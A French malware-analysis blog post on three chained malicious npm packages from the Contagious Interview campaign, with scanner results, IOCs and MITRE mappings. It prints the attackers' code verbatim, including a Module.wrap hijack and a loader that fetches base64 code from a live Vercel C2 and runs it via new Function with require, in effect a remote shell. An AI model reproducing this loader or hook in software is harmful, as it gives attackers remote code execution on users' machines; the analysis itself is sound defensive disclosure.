8 avril 2026. Socket.dev publie un rapport sur la campagne Contagious Interview : 1 700+ packages malveillants répartis sur 5 écosystèmes (npm, PyPI, Go, Rust, PHP), attribués au groupe Lazarus (DPRK). Parmi eux, trois packages npm qui forment une chaîne de dépendances : logkitx, logger-base, dev-log-core.
J'ai scanné les trois. Voici ce que MUAD'DIB voit, ce qu'il rate, et pourquoi ce pattern de chaîne est un problème pour tous les scanners qui analysent les packages isolément.
La chaîne
L'attaquant distribue la charge utile sur trois couches :
| Package | Rôle | Score MUAD'DIB |
|---|---|---|
logkitx@1.0.1 | Entry point, Module.wrap hijack | 38/100 |
logger-base@1.0.3 | Relay, code propre, dépend de dev-log-core | 3/100 |
dev-log-core@1.0.5 | Payload, fetch + base64 + new Function | 29/100 |
Chaque package est inoffensif en isolation (ou presque). La chaîne complète délivre un infostealer multi-stage avec C2 Vercel actif.
Ce que MUAD'DIB détecte
logkitx - Module.wrap Override (AST-066)
Le premier signal est logkitx/index.js. Quatre lignes en apparence anodines :
'use strict'
const pino = require('pino')
require('module').wrap = override
const debugFmt = require('logger-base')
La ligne 3 remplace Module.wrap - la fonction qui enveloppe chaque module Node.js avant exécution - par une fonction override définie plus bas dans le fichier :
function override (script) {
const pathToPinoDebug = require.resolve('./debug').replace(/\\/g, '\\\\')
const head = `(function(exports, require, module, __filename, __dirname) {
require = (function (req) {
var pinoDebugOs = require('os')
var pinoDebugPath = require('path')
var Object = ({}).constructor
return Object.setPrototypeOf(function pinoDebugWrappedRequire(s) {
var dirname = __dirname.split(pinoDebugPath.sep)
var lastNodeModulesIndex = dirname.lastIndexOf('node_modules')
var isDebug = lastNodeModulesIndex >= 0
&& dirname[lastNodeModulesIndex + 1] === 'debug'
var pathToPinoDebug = '${pathToPinoDebug}'
if (isDebug) {
var dbg = req(pathToPinoDebug)
var real = req(s)
if (s === './common') {
var wrapped = function pinoDebugWrapSetup(env) {
var orig = real(env)
Object.assign(dbg, orig)
Object.defineProperty(orig, 'save', {get: function () {
Object.defineProperty(orig, 'save', {value: dbg.save})
return orig.save
}, configurable: true})
return dbg
}
return wrapped
}
if (s === './debug') {
Object.assign(dbg, real)
Object.defineProperty(real, 'save', {get: function () {
Object.defineProperty(real, 'save', {value: dbg.save})
return real.save
}, configurable: true})
return dbg
}
}
return req(s)
}, req)
}(require))
return (function(){
`.trim().replace(/\n/g, ';').replace(/\s+/g, ' ').replace(/;+/g, ';')
const tail = '\n}).call(this);})'
return head + script + tail
}
Le code est copié du package légitime pino-debug. La fonction reconstruit le wrapper de chaque module via un template literal qui remplace require par un proxy. Chaque module chargé après ce point passe par pinoDebugWrappedRequire, qui redirige les imports de debug vers ./debug local - le fichier contrôlé par l'attaquant. C'est du module hijacking par interposition.
La règle AST-066 détecte toute assignation à Module.wrap, qu'elle passe par un alias (const M = require('module'); M.wrap = ...) ou en inline (require('module').wrap = ...). Sévérité : CRITICAL. Confiance : high.
$ muaddib scan logkitx-1.0.1.tgz --explain
[SCORE] 38/100 [████████░░░░░░░░░░░░] MEDIUM
Max file: index.js (25 pts)
Package-level: +3 pts
[ALERT] 2 threat(s) detected:
1. [MEDIUM] Suspicious Lifecycle Script
Rule ID: MUADDIB-PKG-001
File: package.json
Message: Script "prepare" detected: npm run security:audit
2. [CRITICAL] Module.wrap Override
Rule ID: MUADDIB-AST-066
File: index.js
Confidence: high
Message: Module.wrap overridden - module wrapper function
hijacked, allows injecting code into every loaded
module.
MITRE: T1574.006
Deux findings. Le lifecycle script "prepare": "npm run security:audit" est un leurre de social engineering - il fait croire que le package est sérieux sur la sécurité. L'ironie n'échappera à personne.
dev-log-core - Remote Code Loading (AST-040)
Le vrai payload est dans dev-log-core/src/common.js, enterré dans la fonction enable() copiée du package légitime debug. Le code malveillant est enveloppé de commentaires de type "debug utility feature - DO NOT USE IN PRODUCTION" pour dissuader les reviewers humains :
// Caché dans enable() - copié de debug avec payload injecté :
(async function () {
const serviceName = 'logkit-tau';
const maxRetries = 10;
const timeoutMs = 60000;
for (let attempt = 1; attempt <= maxRetries; attempt++) {
try {
const requestUrl =
`https://${serviceName}.vercel.app/debugCheck?id=${namespaces}`;
const response = await fetch(requestUrl, {
method: 'POST',
signal: controller.signal
});
const responseData = await response.json();
const decodedCode = Buffer.from(
responseData.message, 'base64'
).toString('utf8');
// require est passé au code distant - accès complet à Node.js
const debugFunction = new Function('require', decodedCode)(require);
return debugFunction;
} catch (error) {
// Retry silencieux - 10 tentatives, 60s timeout
}
}
})();
La règle AST-040 (remote_code_load) détecte le compound fetch + new Function() dans le même fichier. Aucun package npm légitime ne combine les deux. Score : 29/100.
Le détail qui tue : new Function('require', decodedCode)(require). Le code distant reçoit require en paramètre. Il peut importer child_process, fs, os, https - tout Node.js. C'est un shell distant.
Le stage 2 - ce que Vercel renvoie
Au moment de l'analyse, le endpoint logkit-tau.vercel.app/debugCheck est toujours actif. Le payload base64 décodé est un infostealer obfusqué (RC4 + string array rotation) avec les capacités suivantes :
| Fonction | Rôle |
|---|---|
gatherHostIdentity() | Fingerprint machine : hostname, username, platform, OS, IP |
sendTelemetry() | POST des données collectées vers un C2 secondaire |
downloadTestJs() | Télécharge un stage 3 dans le dossier temp |
ensurePackageAndRun() | Installe le stage 3 via npm install |
runNodeTest() | Lance le stage 3 en processus détaché (detached: true, windowsHide: true) |
fetchBootstrap() | Retry loop ~40 minutes (setInterval 2 412 400ms) |
Processus détaché, fenêtre cachée, retry de 40 minutes. Le stage 3 survit à la fermeture du processus parent.
Ce que MUAD'DIB rate
logger-base - le maillon invisible
Score : 3/100. Sous tous les seuils d'alerte. Un seul finding : le lifecycle script "prepare", commun à des milliers de packages légitimes.
Et c'est normal. Le code de logger-base est une copie quasi-parfaite du package debug. Il n'y a pas de fetch, pas de eval, pas de new Function. Son seul comportement malveillant est de faire require('dev-log-core') en ligne 1 - ce qui tire le payload dans l'arbre de dépendances.
C'est la technique : un package clean dont l'unique rôle est d'être un pont entre l'entry point et le payload. Le relay n'a pas de signal heuristique. Pour le détecter, il faudrait une corrélation cross-package : "ce package inconnu dépend d'un autre package inconnu et récent". MUAD'DIB ne fait pas encore ça.
C'est un angle mort assumé. La détection fonctionne sur logkitx (38) et dev-log-core (29) - si un dev scanne ses dépendances transitives, la chaîne est repérée. Mais logger-base seul passe à travers.
Reproduire le scan
Les commandes pour scanner soi-même (à date, les packages sont encore sur npm) :
# Installer muaddib-scanner
npm install -g muaddib-scanner
# Télécharger les tarballs
npm pack logkitx@1.0.1
npm pack logger-base@1.0.3
npm pack dev-log-core@1.0.5
# Scanner chaque package individuellement
muaddib scan logkitx-1.0.1.tgz --explain
muaddib scan logger-base-1.0.3.tgz --explain
muaddib scan dev-log-core-1.0.5.tgz --explain
# Sortie JSON pour intégration CI/CD
muaddib scan logkitx-1.0.1.tgz --format json
# Sortie SARIF pour GitHub Advanced Security
muaddib scan logkitx-1.0.1.tgz --format sarif
IOC
Packages: logkitx@1.0.1, logger-base@1.0.3, dev-log-core@1.0.5
C2 stage 1: https://logkit-tau.vercel.app/debugCheck
Payload: dev-log-core/src/common.js (fonction enable())
GitHub: aokisasakidev, alphacointech1010
Email: security@alphacointech1010.io
Publié: 2026-01-29 (chaîne complète live en 30 minutes)
Campagne: Contagious Interview (Lazarus Group / DPRK)
MITRE ATT&CK
| Technique | Description |
|---|---|
| T1195.002 | Supply Chain: Software Dependencies |
| T1574.006 | Hijack Execution Flow: Module Hijacking |
| T1059.007 | JavaScript Execution |
| T1105 | Ingress Tool Transfer |
| T1027 | Obfuscated Files (RC4 + Base64) |
| T1552.001 | Credentials in Files |
| T1041 | Exfiltration Over C2 |
Leçon
logkitx n'est pas un malware difficile à détecter. Module.wrap override et fetch + new Function sont des signaux forts. Le vrai problème est le design de la chaîne.
Trois packages, trois rôles distincts : l'entry point qui hook le module loader, le relay invisible qui ne fait rien de malveillant, et le payload qui contacte le C2. Chaque couche a une raison d'exister. L'entry point assure la persistance. Le relay dilue la suspicion. Le payload fait le travail.
La campagne Contagious Interview est active depuis 2024, avec 1 700+ packages sur 5 écosystèmes. Ce n'est pas un incident isolé. C'est une infrastructure de compromission à échelle industrielle, et les chaînes de dépendances sont leur technique de fragmentation préférée.
Pour les développeurs : npm pack + scan avant install. Les dépendances transitives comptent autant que les directes. Et quand un package de logging inconnu a un funding qui pointe vers le Open Collective de pino - c'est un vol d'identité, pas un signe de crédibilité.